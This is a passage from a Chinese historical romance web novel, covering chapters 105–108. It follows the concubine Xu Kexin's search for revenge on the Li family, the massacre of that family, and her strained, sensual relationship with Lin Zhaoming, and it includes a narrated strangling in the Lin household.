难以自抑的喘息声时不时从屋内传来,他在门外站了许久,临到最后,房内彻底没了声音,他才烦躁地抬步离开。 分明他许久未做春梦了,临到了夜里,却不知怎么了,只刚阖上眼睛,女人就赤着身子爬到了他的床前,委屈地看着他,说胸口疼,求他帮忙通乳。 他面色紧绷,不受控地上前,将人紧紧抱在怀里,咬住女人的唇…… 梦里女人格外听话,任他随意摆弄,也只乖乖受着,等白日梦醒了,林昭明看着空无一人的床侧,怔愣良久,才发觉只是一场梦。 他对徐可心有 欲望,想要和她上床,和她欢好。 他内心的念头极为下流,可等端着早膳前去女人房中,看着女人恬静的睡容时,他心上的念头又尽数消散,只想让她没有忧愁,每日过得自在。 徐可心醒来时,却见男人坐在床边,眸色诡异地盯着她看,目光好似落在她的唇上。 她不解抬手,抚上自己的侧脸,“我的脸上有东西?” “用早膳了。”他偏过头,面色不自在。 “嗯……” 林府书房。 林远山手执文书,坐在书房一侧,只随意看了几眼,复又看向坐在主位的男人,却见他抱着怀中的女婴,轻声讲着什么。 女婴坐在他的手臂上,一双杏眸眨也不眨地盯着他看,不顾男人手中脆响的珠玉环,伸手扯住他的头发,砸吧着唇,轻轻唤着娘。 林远山从未想过,有朝一日会亲眼看到他的好大哥抱着一个女婴哄慰,那女婴还是他妾室的孩子。 想起女人告诉他,那妾室是徐家长小姐,林远山眸中的笑意深了些许。 “大哥,嫂嫂过去不也生下一个女婴,那时可未见你这般喜欢那孩子。”林远山轻笑道。 林远舟抱着怀中的女儿,见她耷拉着眼皮,将小孩揽在怀里,轻拍她的后背,哄她入睡。 见对方不理会自己,林远山笑了笑,未再说什么。 若非那女人害死了他们的女儿,如今他也应有一个女儿才是。 林远山看向手中的文书,心思却不在上面。 徐可心。 没想到这人竟然活着,如今又成了长兄的妾室,还真是百密一疏。 早之留此后患,就应在离京前杀了徐家姐妹二人…… 第105章 小孩趴在父亲怀里,枕着他的肩膀,粉白的小手紧紧攥着他的头发,睡得并不安稳。 她从生下来那天便格外缠着她的娘亲,醒来见不到娘亲就哭,哭得委屈吧啦的,砸吧着嘴找娘亲。 若是旁人,兴许早就厌烦她了,偏偏她娘亲心软,也格外宝贝她,见不得她哭,一见她瘪嘴就把她抱在怀里。 林远舟揽着怀中女婴,拿着白帕轻轻擦拭她脸上的泪痕。 她娘亲受了委屈就爱哭,她见不到娘亲也爱哭,只把一双眼睛哭肿了,格外可怜。 偏偏奇怪的是,被他抱在身边后,小孩依旧委屈,但不再哭了,只依赖地靠在他怀里,轻轻唤着娘,好似知晓身前男人是她的父亲,可以将她的娘亲还给她。 林远舟放下手中的玉环,见怀中女婴熟睡过去,终于分神,捡起桌案上的文书。 林远山坐在一旁看了良久,终于忍不住起身,轻咳一声,笑着走上前,“大哥,我听府中的下人说,你那位妾室不仅长相貌美,还得你喜欢,既然如此,又为何将人赶走?她既同怀瑾通奸,你只打断她的腿,把人囚禁起来不就好了?” “分明是自己的东西,又为何将她推给别人?” 林远山微微抬手,想要抚上他怀中女婴的脸颊,还未等碰到,男人手持文书,不紧不慢挡住他的手,“离京数年,叔公时常惦念你,若无事可做,便回二房孝敬叔公。” 话音一落,林远山眸中笑意加深,自然地收回手,捡起桌案上的一只毛笔,随意摆弄几下,才笑道,“的确如长兄所说,离京太久,想必娘也惦念着我,明日我就离府,给娘上坟。” 他说来说去,就是只字不提自己的亲生父亲。 青姝本趴在男人怀中小睡,听到交谈声微微蹙眉,转过身子,将脸埋在父亲的脖颈,下意识蹭了蹭。 她的动作很轻,未发出什么响动,可屋内两人的目光一齐落在她身上。 林远山盯着女婴的背影,看着她依赖的模样,难言的恨意涌上心头。 在知晓那人怀孕后,他也期待了那个婴儿,虽说那孩子是个女婴,可毕竟是他的第一个孩子,还是他的亲生骨肉,他自然没有不喜欢的道理。 他甚至想过带女人和女儿离开,把一切告诉长兄,哪怕被赶出府,他也认了。 偏偏女人不愿离开,也难以接受自己生下的孩子是个女婴,既杀了孩子,也抛弃了他。 他后来仔细想了一番,错不在女人,也不在那孩子,错就错在他是个不中用的,官位太低,不比长兄位高权重,受人敬重,不然他的女儿也不会死。 眼前一幕太过刺眼,林远山笑了笑,有意道,“兄长,你何必如此谨慎,我又不会将她偷走?她是你女儿,也是我的侄女,我自然也会照顾她。” “何况你与其提防我,不如分神想着你的两个儿子,若她是你亲生的,打断骨头连着筋,谁也难以将她带走,怕就怕在……” 林远山话语一顿,意味不明地看了眼女婴安睡的侧颜,不紧不慢道,“她的生父另有其人。” 他仍要说什么,可还未等开口,桌案上的砚台就重重砸向他的头顶,墨水顺着他的额头滑下,掩盖住他半张脸,黑白相应,衬得他的另外半张脸愈发惨白。 “大哥……” 男人狼狈低头,抬手抚上自己的额头,眼底肉眼可见地划过一丝错愕。 从小到大,有娘护着他,这人何时打过他,甚至未骂过他一句,何况他大哥素来多沉稳一个人,眼下竟拿砚台砸他。 黑墨不断从他的头上滴落,染污了他的白衣,他愈擦拭,弄得自己愈发狼狈。 砚台落在地上,发出一声沉闷的巨响,本趴在男人怀中安睡的青姝,缓缓抬眸,寻声看了过去,女婴直直看着他,一双杏眸如水澄澈,格外清明,令人情不自禁心生喜欢。 四目对视,林远山的身子一顿,站在原地,任由她看着,他微微扬唇,下意识露出一个笑。 小孩看着他,见状也露出一个笑,只是片刻,却见男人抬手,蒙在女婴的脸上,挡住两人的视线。 林远山脸上的笑容僵在脸上。 他顶着满身的墨水,狼狈不堪地离开书房。路过的丫鬟小厮见状,频频侧目看了过来,同他对视后,又慌乱低头,匆匆走了过去,好似他是什么晦气的脏东西。 林远山跪在湖边,随手擦洗自己的脸。 真是出了奇,长兄竟然护着一个女婴,还为了女儿打了他。 若说他喜欢那女婴,照顾她时,面上也未露出多少笑意,想必是喜欢她娘亲,才会在听了昭明的话后,将女婴接到自己身边,每日亲自照顾。 徐可心…… 林远山复又想起这人。 记忆里,徐家长小姐过去是昭明的未婚妻,时常前来府中寻昭明,为人小心谨慎,做的唯一出格的事就是为了嫁给林昭明,忤逆她父亲的安排,不愿入宫为妃。 林远山坐在湖边,随手擦了一下脸上的墨痕。 若大哥不在乎她也就罢了,偏偏这人好似真得喜欢那女人。 那这女人也没有留下的道理了…… 林远山起身,回了院中,命人送了拜帖给刑部尚书吴大人。 既然她想知道送信之人是谁,便给她一个名字,让她自己主动走入泥潭,也不知道她对长兄的情意有多深,是更在意她徐家,为了她徐家,蚍蜉撼树,还是惦念她女儿的亲父,沉默地咽下这口脏血。 京郊宅院。 女人坐在琴房,坐在桌案前,盯着上面的琴,良久未抚动一下,只盯着虚空看。 窗外落叶浮动,随着枝杈摇晃,微微作响。 林昭明说,大人不愿意放人,可他分明不在乎青姝,又为何将青姝接到身边照顾。 徐可心垂眸思索良久,只越想越困顿,越想越不得其解。 宅院位置偏僻,院中只有她和一众下人,林昭明白日上朝,一般午前就会回府,但近日不知怎么了,他又被调回了刑部, 每日公务繁忙不说,时常带着一身血腥气。 上次他被调职是大人的命令,这次却是刑部尚书吴大人上书奏折,主动为他求情,大人才松口,令他回刑部任职。 若非她,林昭明那日也不会被调职…… 本来一切顺遂,可自从她想要查明当年一事后,便祸事不断,好似连老天也不愿帮她报仇。 胸口忽得格外闷,她抚着琴弦,随手弹奏几下,琴音还未连成曲,一阵匆忙的脚步声从门外传来。 “夫人,少爷唤你前去正堂,说有人要见你。” 徐可心手指一顿,眸色不解,何人要见她? 正堂内。 徐可心走入堂中时,却见一个身着常服的老者坐在那里,捋着胡子,笑呵呵地同林昭明交谈。 好似听到脚步声,老者抬眸看了过来,四目对视,老者眸色一喜,倏地起身,快步上前,“长小姐,数年未见,可还记得老朽?” 老者面色热切,没有半分生疏之色,好似两人之间极为熟稔,是什么故人一般。 徐可心眸色一怔,仔细看着老者的容貌,也觉有几分熟悉,她不解地看向站在一旁的林昭明。 林昭明见状,直接道,“此人是刑部尚书吴大人。” “长小姐贵人多忘事,想必早就忘了老朽。本官过去是徐大人手下的门客,入朝为官前一直借住徐府。不过徐大人手下门客众多,长小姐不记得老朽也不足为奇。”吴大人笑着看她,捋着须子主动道。 那时她父亲广招门生,她又成日被关在院中学规矩,鲜少前去前院,更别提同府中门客来往,只依稀记得几个受父亲重用的大臣,而他们之后也受父亲牵连,一齐被抄家…… 徐可心紧抿着唇,眸中不自觉带着几分警惕,虽不知晓这人为何前来拜访,但还是俯身行礼,唤了一声吴大人。 吴尚书连忙伸手,虚虚托住她的手臂,“徐大人对本官有知遇之恩,是本官的恩人,小姐无需多礼。” 徐可心未应下他的话,只看了眼站在自己身侧的男人,才不解问,“不知大人前来……所为何事?” 吴尚书闻言,面上的笑意收了些许,轻叹一声,也未卖关子,直白道,“徐小姐,本官今日前来,不为旁的,而是为了徐家一事。” “徐小姐想要为徐家报仇,可有此事?” 吴尚书眉目慈祥,菩萨低眉似的,笑着询问,他面色温和,好似一个再随和不过的长辈,但尾句却隐隐透着几分强硬。 徐可心抿唇,并未因老者态度的转变心生胆怯,而立刻回答他的话。 她见过太多位高权重的高官,怒目金刚的,慈眉善目的,笑里藏刀的……也知晓他们的手段,见得多了,也就习以为常,不会真得被吓到。 若真得比起来,她其实更怕大人,因为看不透他,难以猜到他的心意。 大人比她的父亲还要难以接近,若非大人主动接纳她,想必她这辈子也难以讨得他的喜欢。 徐可心抬眸,看向站在自己的男人,等他说明缘由。 林昭明也听出老者尾句隐藏的威慑,眉头微皱,扯着徐可心的手臂将她拉到自己身侧,“吴大人,她胆子小,勿要吓到她。” 林昭明保护的姿态太过明显,吴尚书笑了笑,“若徐小姐如此软弱,被一句问话吓到,想必也难以查明当年一事,老朽此番算是白走一趟了。” 说完,他转身就要离开。 徐可心看着他的背影,见他要走,虽听出他话里的激将,但仍下意识道,“大人留步!” 第106章 吴尚书停下脚步,头也不回道,“若徐小姐真得想要知晓当年的实情,便借一步讲话。” 徐可心紧攥袖子,盯着老者的背影,良久后上前一步,“大人请。” 眼见两人要离开,林昭明抬步跟了上来,吴尚书不紧不慢抬起手臂,挡在他身前,眉眼带笑,“事关重大,还请公子留步。” 林昭明拧眉,“什么话是我不能听的?” 他方要追问,手腕被人不轻不重拍了一下。 “留在此处等我回来。”女人轻声道。 林昭明话语一噎,闻言直挺挺地站在原地。 吴尚书跟在徐可心身后,离开正堂时回头看了一眼,却见林二少爷竟然真得没有跟上来。 想起两人的过往和近日林府的传闻,吴尚书捋着须子,目光在两人身上扫了几下,同林昭明笑了笑,转身离了正堂。 林昭明留在正堂,眼见两人走远了,才倏地回神,眉头紧拧。 他那么听话做什么,若他硬要跟过去,徐可心还能赶他走不成? 他越想越觉自己太过听话,已经到了无可救药的地步,只是得了一句命令,甚至未回怼几句,就像个木头人一样站在原地。 心上质问不停,人倒是退后一步,坐在主位,捡起茶壶给自己倒了一杯茶。 同徐可心说得那样,留在此处等她回来。男人攥着茶杯,疑觉自己像徐可心的一条狗。 两人离开后,不知交谈了什么,迟迟未归。一直等不到人,眼见堂外阴云复起,男人面色愈发不耐,担忧她被雨淋到,令下人拿来纸伞,忍不住跟着女人的足迹寻了过去。 天灰蒙蒙的,日头隐在云后,除了那片云是亮的,旁的地方都黑得骇人,好似万兵压城一般。 下人说,夫人与来客正在后园的一处亭中讲话,等林昭明执伞寻过去时,却见吴尚书已经没了人影。 女人衣着单薄,背对着他坐在石桌前,身子微微躬起,几片残叶落在她的衣摆上,背影莫名透着几分苦楚。 察觉不对,林昭明紧拧着眉,大步上前,方一靠近,难言的哭声就传进了耳中。 “你这是怎么了?” 林昭明攥紧她的肩膀,强迫她转过身。 四目对视,方才还面色平静的人眼下已经哭得满脸泪痕。 “我不是让你等我回去?”徐可心低头,用帕子擦拭脸上的泪痕,有意躲闪他的目光。 林昭明面色紧绷,“若我不来,你就要一直躲在这里哭下去?” “老东西说了什么折辱你的话?” 徐可心垂着头,微微摇头,只小声道,“他并未折辱我,你姑且回去,我只胸口发闷,在这里坐一会儿。” 知道她不愿多说,林昭明有心探寻,却未再多问,只捡起帕子,擦拭她脸上的泪痕,“已经入秋,坐在这里也不怕感染风寒。” 说完,不顾女人的抗拒,半抱半拖地将人带回了厢房。 分明在亭中时,她只是垂着头小心哭着,只一回了厢房,泪水就不管不顾流下。 林昭明想要帮她擦脸,方要起身命人端热水过来,见她没有征兆地大哭起来,他脚步一顿,复又坐了回去。 屋内安静至极,只有女人呜咽的哭声。她枕着手臂,泪水不受控地落下,哭得格外伤心…… 林昭明坐在床边,一只手搭在她的身侧,低头道,“他方才到底讲了何事?” “并未讲什么。”徐可心埋首在被中,闷声道。 依旧不愿告诉他。 林昭明无声注视她,腹中满是问话,却不知如何问起,只能坐在床边,沉默地陪在她身侧,抬手抚上她的侧脸,用指腹擦掉她眼尾的泪痕,良久后才道,“我不知晓他同你讲了什么,但无论你想做什么,我都愿意受你差遣。” 他过去最厌烦别人说他是徐可心的狗,当时他不愿听,认为他们在羞辱他,可眼下只看她一字不吭地趴在那里哭着,他就心脏抽疼,忍不住说出为她当牛做马的话,只要这人能舒心些许。 林昭明紧抿着唇,终于不得不承认,自己在乎她,也牵挂她,看不得她受委屈,也不愿看她落泪。 思及此,他忍不住在心里自嘲一笑,站起身,就要命下人端热水过来,可还未挪动一步,手臂就被紧紧攥紧。 “昭明……” 女人哽咽的哭声从身后传来,林昭明身子一僵,转身看她。 徐可心轻轻抽泣一声,紧紧攥着他的衣袖,手指不断合拢,面色格外不安,好似怕他离开一般。 林昭明已经忘记自己多久未见到这种目光,他站在原地,无声俯视她,被紧攥的那只手臂无意识颤抖。 他站在高位,眼底却没有过去的厌恶,也没有重逢时的冷厉,有的只是难以掩饰的怔然。 女人攥着他的手臂,借着他手臂的力气坐起身,屈着膝盖,跪在床边,朝着他缓慢膝行,虽身处下位,但眼底也没有卑怯,只有无助依赖。 林昭明身子僵硬,看着她主动靠近自己,主动 环住他的腰,靠在他怀里,声音哽咽恳求道,“昭明,我想离京。” “我不想留在这里了,我真得不想留在这里了……” 京中太苦了,活得每一刻都像身处炼狱一般,若只是皮肉之苦,涂抹伤药后还有痊愈的可能,可最疼的是心。 “昭明,我只求你一次,你帮我除掉李家,我就离开此地,此生再也不会归京……” 男人本愣神看着她,听她忽得提到离京,闻言不自觉皱起眉头。 恐他不愿答应,徐可心仰头,眼底满是泪水地看他,“我知晓自己太过无耻,用往日情分胁迫你。” “只要你帮我报仇,我便将自己给你……”她紧攥男人的衣服,姿态卑微至极。 听她拿自己做代价,林昭明面色一沉,不仅未答应,反而紧紧反握住她的手腕,骨节分明的大手箍住她的双手,冷声道: “你只告诉我,他方才究竟同你讲了什么?” 徐可心微微摇头,声音格外沙哑,几乎从喉咙里挤出来一般。 “他说……布局之人是大人。” 话一出口,徐可心就彻底失了力气,瘫坐在床,全身上下不受控地颤抖。 第107章 那人说,当年的一切都是大人的意思,若无大人给他们依仗,李家人也不敢跑到圣上面前。 林昭明皱着眉头,站在床前,良久无言。 不知过了多久,他才俯下身,双臂撑在她身侧,将她笼罩在身下,“父亲……” 他想说,两家那时已经结姻,已经有了联系,没道理父亲会算计她徐家,可在徐家倒台后,父亲也的确未受到牵连,反而顶替徐大人,成了当朝首辅。 分明一切没有关系,又处处有关系。 何况说到底,他虽是那人的儿子,但也猜不透那人的心思,也不了解他。 “只是他一人的说辞,兴许他骗了你……”男人沉默半晌,只说出这一句话。 话一出口,他也没了底。 徐可心低垂着头,双手捂脸,泪水从指缝溢出,只头也不抬哽咽道,“我想离京,我不想留在这里了。” 只从李家这里断了,她也死心了,不想再查下去了。 就此停下,只留下一个念想,不会让她太过痛苦,若真真切切发觉大人与徐家一事有关,她不仅不知道如何面对大人,甚至死后也不知道怎么面对父母双亲。 她成了仇人的妾室,还为他生了一个女儿。 她还是太懦弱了,根本不敢面对这一切,只想逃离此地。 “昭明,求你帮我……” 她紧紧攥住男人的衣裳,顾不得旁的,只想除掉李家后,从此地离开。 “只要我除掉李家,你就愿意同我上床?”男人抚着她的侧脸,语气未带有几分旖旎,反而极为冰冷。 徐可心被迫抬头,眼底满是泪水地看他,闻言微微颔首。 她孤身一人,没有旁的东西给他,徒留一副身子。 男人无声俯视她,良久才道,“徐可心,你还真是自甘下贱,若今日站在你面前的人不是我,你也扯着别的男人衣裳,自荐枕席,只求他能帮你报仇?” 他话语冷然,透着几分寒意。 徐可心哭着摇头,哽咽道,“不会……我不会求旁人,旁人也不会帮我……” 旁人不在意她,不会真得为她做什么,而林昭明喜欢她,她知晓这人一定会帮她,可除了这副身子,她又实在拿不出任何东西报答他。 林昭明对她好时,是真的好,无微不至地照顾她,事事以她为先,把一切都给她。哪怕她再过愚笨,也能感受到这人直白的情意。 若非林昭明给的喜欢太过炽热,她也不会再被退婚后,仍惦念了三年,想要见他一面。 可就是这人太好了,她才无耻地以自己为代价,求林昭明帮她。 “我早就不是什么千金小姐,于旁人而言,也只是一个沦落风尘的女子,如今只有你还在意我,把我当成美玉捧在手里,昭明,除你之外,我不会以自己为代价去求别的男人……” 她哭得泣不成声,话语也极为含糊,说了半晌,也难以说清自己的心意,她越说越混乱,想说自己的不堪,想说自己的无助,想说自己的无耻…… 还未等她全都说出来,就被人紧紧揽在怀中抱紧,男人主动俯身,将她抱在怀里,有力的掌心按着她的后颈,将她压在怀里。 徐可心枕着他的颈侧,眸色一怔,却听男人在耳边低声道,“我心甘情愿受你差遣,你也不必求我。” “你是不是首辅家的千金,都是我的姐姐,我都会照顾你,在意你,我喜欢你,也是一个有情欲的男人,自然想要和你欢好。” “但我想要你心甘情愿地回应我,而非以我们的情意为代价,出于愧疚可怜我,才同我在一起。” “徐可心,有我在,你就是天上的明月,也无须自轻自贱,只悬在高空受人仰望。” 男人紧攥她的后颈,逐字逐句说得很慢,却很重,好似要托举她的身子,让她永远悬在天上。 徐可心枕着他的颈侧,半阖眉眼,泪水顺着她的脸颊滑下,落在男人的肩侧,濡湿他的衣襟,留下一团水渍。 她自小太过软弱,守着规矩行事,小心谨慎,那日她救下了落水的幼童,幼童扑进她怀中时,也救下了少时的她。 如今这人再次将她抱在怀里,她复又感受到这人皮下的心跳。 “徐可心,你可以离京,但必须带我一起走。”他说。 徐可心阖上眉眼,枕着男人的颈侧,良久后,缓慢抬手,环住他的腰背。 她过去总是瞻前顾后地思虑太多,小心地走着每一步,可每一步又如履薄冰,她这次不想再瞻前顾后地考虑一切,只想埋首在这人怀里,将他一起带走。 屋外阴云压在一起,没过多久就彻底遮蔽整片天空,秋雨连绵,空气里弥漫阴湿的泥土味,透着腐朽的气息。 一开始雨下得很慢,之后一阵风吹过,雨借风势,顷刻之间又变得极为凌厉,重重打在枯枝残叶上。 林二少官复原职,一众官员的心复又提了起来,生怕惹他不快,被他查到头上,本以为他复要同刚上任那会儿四处咬人,却发觉他这次只抓着李家咬,没有理会旁人的意思。 他们之前不敢招惹他,无非是因为,害怕他的所作所为都是大人的主意,眼下见他将刀对准李家,他们不自觉思索,大人是不是终于决定清算李家。 毕竟那位如今也已回京,京中只余下梁王爷这最后一只残党。 林府正院。 小桃缓步走入里室,看了眼闭眼小憩的女人,走上前轻声道,“夫人,二姨娘来了。” 忽得想到近日京中之事,她复又小声道,“好似是为了李家一事……” 本假寐的女人霎时抬眸,冷声道,“让她进来。” 二姨娘得了传话,刚走入房中,房门就被骤然阖上,两个嬷嬷上前,这次未强迫她下跪,其中一人手持白绫,直接缠上她的脖颈。 李舒见状,霎时慌了神,看向坐在主位的女人,“夫人你这是做什么?” 大夫人冷眼看着她,那日昭明说,那女人以为青姝死了,才想要将青姝带离府中。 那日房中只有小桃和两个嬷嬷,所以将她的话传到徐可心耳中的人,也只能是她李舒。 何况他李家人素来背信弃义满嘴谎话,最为无耻,她也不想再留这条毒蛇在府中,只杀了二姨娘以绝后患。 “我是大人的妾室,并未做过错事,夫人无缘无故对我动用私刑,不怕大人怪罪?”李舒费力挣扎着,极力躲着那条白绫。 她今日上门,本想着要挟大夫人,令其为李家求情,哪里想过这人也对她动了杀心。 “夫人!二少爷彻查李家,你就不怕这把火烧到林二叔身上?”二姨娘跪在地上,慌不择路道。 大夫人无声看着她,闻言只阖上眼皮,托着头,毫不在意道,“你李家算什么东西,无非就是一条趴在别人身上苟延残喘的癞皮狗。” “而他是大人的亲堂弟,老夫人死后,留下的唯一遗言就是令大人照顾他。” “哪怕梁党死尽,他也不会有事。” 大夫人说完,眼也不抬道,“动刑。” 嬷嬷得了命令,只用力掐住李舒的脖颈,不顾她的挣扎,将白绫一圈一圈死死缠绕在她的脖颈上,用力攥着白绫两端。 脖颈被死死缠绕,李舒眸子瞪大到极致,费力攥着白绫,胡乱踹地,她张着嘴,下意识想要呼喊。 小桃看了她一眼,缓步上前,只将帕子塞进她口中,轻声道,“姨娘,小声些,别让旁人听了动静。” “呜呜……” 二姨娘瞪着眼睛,死死盯着她。 嬷嬷用力扯着白绫,手背紧绷,直到女人彻底没了声音,才向后退了一步,只一瞬间,女人的头重重落在地上,发出一声沉闷的响动。 小桃看了眼小憩的女人,轻轻挥手,示意她们把人带走。 书房内。 穿着青衣的女婴趴在桌案上,抱着文书来回翻滚,眼见快要滚到桌沿时,一只冷白修长的手不紧不慢托住她的身子,将她抱了回去。 小孩趴在桌案上,下意识握住面前的手指,睁着眸子,轻轻唤了一声娘。 男人放下手中的毛笔,复又将小孩抱在怀里,掀开匣子捡了一块玉佩放到她手里。 钱管家推门走进,却见女婴含着玉佩,独自坐在男人腿上,扯着垂落的红绳,男人边揽着女婴的后背,边拿着毛笔在奏折上书写。 “大人,二姨娘的尸体被人从正院抬了出去。”钱管家说。 男人头也不抬嗯了一声,没有追问的意思。 钱管家站在原地,犹豫半晌,复又迟疑道,“外面传信说,二少爷如今正搜集李家的罪证,但仍未得到什么确凿的证据,也难以治李家的罪,而二少爷眼下行事急切,好似过不了几日,就会对李家下手。” “恐有后患。” 钱管家小心看他,“大人,是否要令人阻拦二少爷……” 男人握笔,不紧不慢在奏折上落下最后一个字,才阖上奏折,推到桌案边沿,“既然她想查,便给她想要的。” 他未说口中的人到底是林昭明,还是旁的人,钱管家得了命令,只快步上前,捡起桌案旁的奏折,派人送进宫里。 待书房余下他们父女二人,男人托着女婴的身子,拿掉她口中的玉佩,放到一旁。 青姝仰头看他,攥着他的衣服,复又轻轻唤了声娘。 小孩不日就要百日,但还不会讲话,只会喊娘这一个字。 垂眸看着怀中女婴澄澈的杏眸,林远舟良久无言。 他想要让可心认清自己,知晓自己到底是否真得愿意嫁给一个迟暮之人,可不知为何,真得放手后,舍不得的人好似是他。 入了秋日,不日就要中秋。 自少帝登基后,首辅大人一直亲自铲除叛党余孽,除了梁王一党,其余叛党已悉数除尽。 林大人迟迟不下命令,梁党众人便继续于朝中任职。这日不知怎么了,少帝忽得在朝堂上,当众责难李家众人,只过了几日,李家谋逆的消息就传了出去。 知道陛下正清算梁党,京中众臣纷纷夹起尾巴,生怕这把火烧到他们身上。 是夜。 林侍郎得陛下旨意,率人前去查封李家。 陛下说,忤逆者当斩。 只一夜过去,李家上下数百人,无一活口。 消息一出,众臣骇然。 李家罪不至此,这人竟痛下杀手,屠了李家满门。 还未过夜,参林侍郎的本子便接连被送到宫中,求陛下赏罚分明,将其降职。 不然连审问都未审问,就直接屠人满门,知道的是抓叛党,不知道的还以为他与李家有什么血海深仇。 说此人是罗刹转世也不为过…… 第108章 临近子时,宅院内灯火通明。 男人提着刀,越过朱红大门,大步走入院中。 瞧见他手中不断向下滴血的刀,守夜的下人下意识退后一步。 厢房内。 女人单穿一件白色薄衣,乌色长发垂在肩头,双腿并拢在一起坐在桌案前,布料薄如蝉翼,在烛光笼罩下泛着浅金色流光,极为服帖地勾勒着她的身子,周身曲线毕露无疑。 丰乳细腰,软臀玉腿,一身富贵俗气,好似堕入世俗的画中仙娥,令人想要偷了她的衣衫,让她只能困于世俗中,难以重返天上,只做个至真至诚的有情人。 男人推门走进时,目光落在女人半隐半露的身子上,脚步一顿,停在门前,良久未上前。 好似听到了动静,本背对着他的女人微微抬头,转身看了过去,只一瞬间,女人隐在薄纱下的身子彻底暴露在他面前。 男人方从府外回来,浑身上下被鲜血浸染,透着肮脏的血腥气。 四目对视,徐可心眸色一怔,下意识快步上前,扯着男人的手腕。 “你受伤了?” 林昭明低头看她,目光先是落在女人的担忧的面上,复又落在她隐在衣衫下的身体,鼻腔忽得一热,热意涌出。 四目对视,徐可心眸子一怔。 “你流血了?” 被拉去汤池时,林昭明跪在池边,听从女人的话,微微仰头。 徐可心拿着被热水打湿的帕子,抚着林昭明的侧脸,细致地帮他擦拭脸上的血渍。 不知是刚杀了人,身子格外亢奋,还是别的缘故,林昭明只觉周身热得出奇,分明已经入秋,他却未感到半分寒意。 每看女人一眼,周身燥热一分。 他跪坐在池边,忍不住抚上衣带,脱下外衣,只露着精壮有力的胸膛,单穿了一条长裤坐在池边,分明已经脱了衣服了,身子仍极为烦热。 看了眼身旁身着薄衣的女人,对上她担忧的目光,林昭明烦躁地抹开面前的碎发,站起身,勾住女人的腰,将她抱回了里室。 “安静在这里呆着,等我回来。” 徐可心被扔在床上,下意识握住他的手腕,“你要赶我走吗?” 她未用什么力气,男人却停下了脚步,好似被她拽住一般。 林昭明背对着她,只攥住她的手腕,挣脱她的手,“安分些,别在我身上使这种下流手段。” 他说完,头也不回地转身离开。 徐可心盯着男人的背影,见林昭明态度决绝,她收回目光,微微转身,整个人埋首在软被中。 林昭明为她除掉李家 ,她想履行承诺,不过既然这人不喜,她也没有强迫这人的道理。 她枕着手臂,看着一旁的虚空,忍不住思索离京的事情,从京城离开,就彻底远离京城的一切。小妹如今在宫中任女官,受陛下垂青,不再需要她。如今她唯一牵挂的人只有青姝,只等林昭明将青姝带回,她就带着女儿离京。 徐可心想得入神,脚步声复又从身后响起,等被人从床上拦腰抱起来时,她趴在男人坚硬的肩膀上,不解道,“做什么?” 男人勾着她的双腿,将她抗在肩上,闻言冷声道,“入寝了,你还未沐浴。” “我方才沐浴了。”她说。 “我未亲眼看见,谁知道真假?” “……” 随着男人的走动,他的肩膀时不时顶着她的肚子,硌得她肚子生疼。 “你放我下来。”她推着男人的肩膀,面色不满。 林昭明眉眼不耐,“几步路就到了。” 等到了池边,未等徐可心开口,他便松了手臂,她整个人不受控地下落,浸在水中。 温热的水流霎时涌上前,打湿她的衣衫,顷刻之间,本就通透的薄衣彻底贴上她的皮肤,她的身子也完全袒露在男人面前。 她浸在水中,下意识抚上自己的脸,想要抚去脸上的花瓣,还未等睁开眼,只听扑通一声,她就被人揽腰抱在怀里。 方才还满身是血浑身戾气的男人,低下头,埋首在她颈侧,没有征兆张口,重重咬在了她的侧颈上。 徐可心身子一僵,按着男人的胸膛,既未反抗,也未迎合,只被他抱在怀里,任由他咬着。 男人明显动了情,眼底透着不加掩饰的情欲,像条公狗一样,趴在她身上,厮磨她的侧颈,齿间格外用力,好似要咬掉她脖颈上的肉一般。 徐可心扶着他结实的胸膛,良久后微微抬手,揽住他的脖颈,主动抱住他。 她未回应时,男人尚且吻咬她的侧颈,眼下她只轻轻一抱,男人没有征兆地松开手臂,退后三步远,直直盯着她,好似她是什么吸人精气的鬼怪一般。 徐可心眸色不解,不明白这人为何一会儿亲近她,一会儿将她推开。 两人在池中无声僵持,想起这人那日承认喜欢自己,徐可心紧抿着唇,向岸边游去。 可能这人仍顾虑什么…… 她这般想着,还未等上岸,就被拦腰抱了回去。 “……” 过了半晌,徐可心坐在池边,看着埋首在她怀里紧紧抱着她的男人,良久后,才拿起拭巾为他擦拭身上残留的血迹。 男人只紧紧箍着她的腰,既不向她索取什么,也不让她离开,只像条护食的狗崽,桎梏她的身子,让她哪里也不能去,只能留在此处陪他。 分明往日这人格外话多,但今日不知怎么了,林昭明只抱着她,盯着她看,眸色直白,好似要吃了她,却未做任何事。 入寝前,男人熄灭烛火。 徐可心阖上眼睛方要入睡,就被人从身后抱住,滚烫的胸膛隔着衣衫贴上她的后背,男人的手臂也爬上她的腰,将她整个人抱在怀里。 自从搬进这处宅院,林昭明每日住在别的地方,不曾赖在她这里不走,今夜却爬了床,俨然要留在这里过夜。 这人忽冷忽热,徐可心也不知晓他到底是想和她上床,还是不想和她上床,索性阖上眼睛,沉沉睡去,只任由他一个人在那里亢奋得难以入睡。 她沐浴前穿了一件薄衣,出来时薄衣被打湿,复又换了件平时穿的里衣,衣裳细软,隐隐散发着微弱的清香,透着几分淡雅的气息,平日里根本难以闻到,只有将她抱在怀里时,才能独占她身上的香气。 夜色中,男人直直盯着怀中女人的背影,不断收紧力气,紧紧抱着她,光是闻着她发间的香气,他的四肢百骸就不自觉颤抖。 想要再进一步,想要扯掉女人的衣服,完完全全占据她…… 徐可心不知道身后人到底在想什么,半睡半醒之间,锁骨忽得传来刺痛,她缓缓抬眸,借着月色看向身前,却见她的衣衫早就敞开,男人埋首在她怀里,像只狗崽一样,复又用力啃咬她的锁骨,齿间未收力,磨得她骨头生疼。 好似察觉到她的目光,男人身子一顿,抬眸直直看向她。 夜色下,男人的瞳孔极为亮,如同毒蛇一般,直勾勾地盯着她。 四目对视,徐可心沉默片刻,揽住他的脖颈,将人压在怀里,眉眼困倦道,“太晚了,早些歇息。” 白皙细嫩的手臂揽着他的脖颈,温柔地贴着他的后背,林昭明身子一僵,整个人一动不动地枕着她的颈侧,听着耳边女人温柔的话语,只过了片刻,难言的暖意在他心中生起,逐渐占据了他的整颗心,将他的心房填满。 并非赤裸的情欲,而是少时他一直拥有,之后却再也难以寻到的归属。 好似他流浪了许久,终于寻回自己的暖巢,被重新接纳时不可自抑的喜悦。 他那时想要从这人身边逃离,认为女人困住了他,可等他彻底同女人分开后,他不仅未重获新生,反而困在暗处,一直寻着女人的身影,寻找回到暖巢的路。 女人才是他的母亲…… 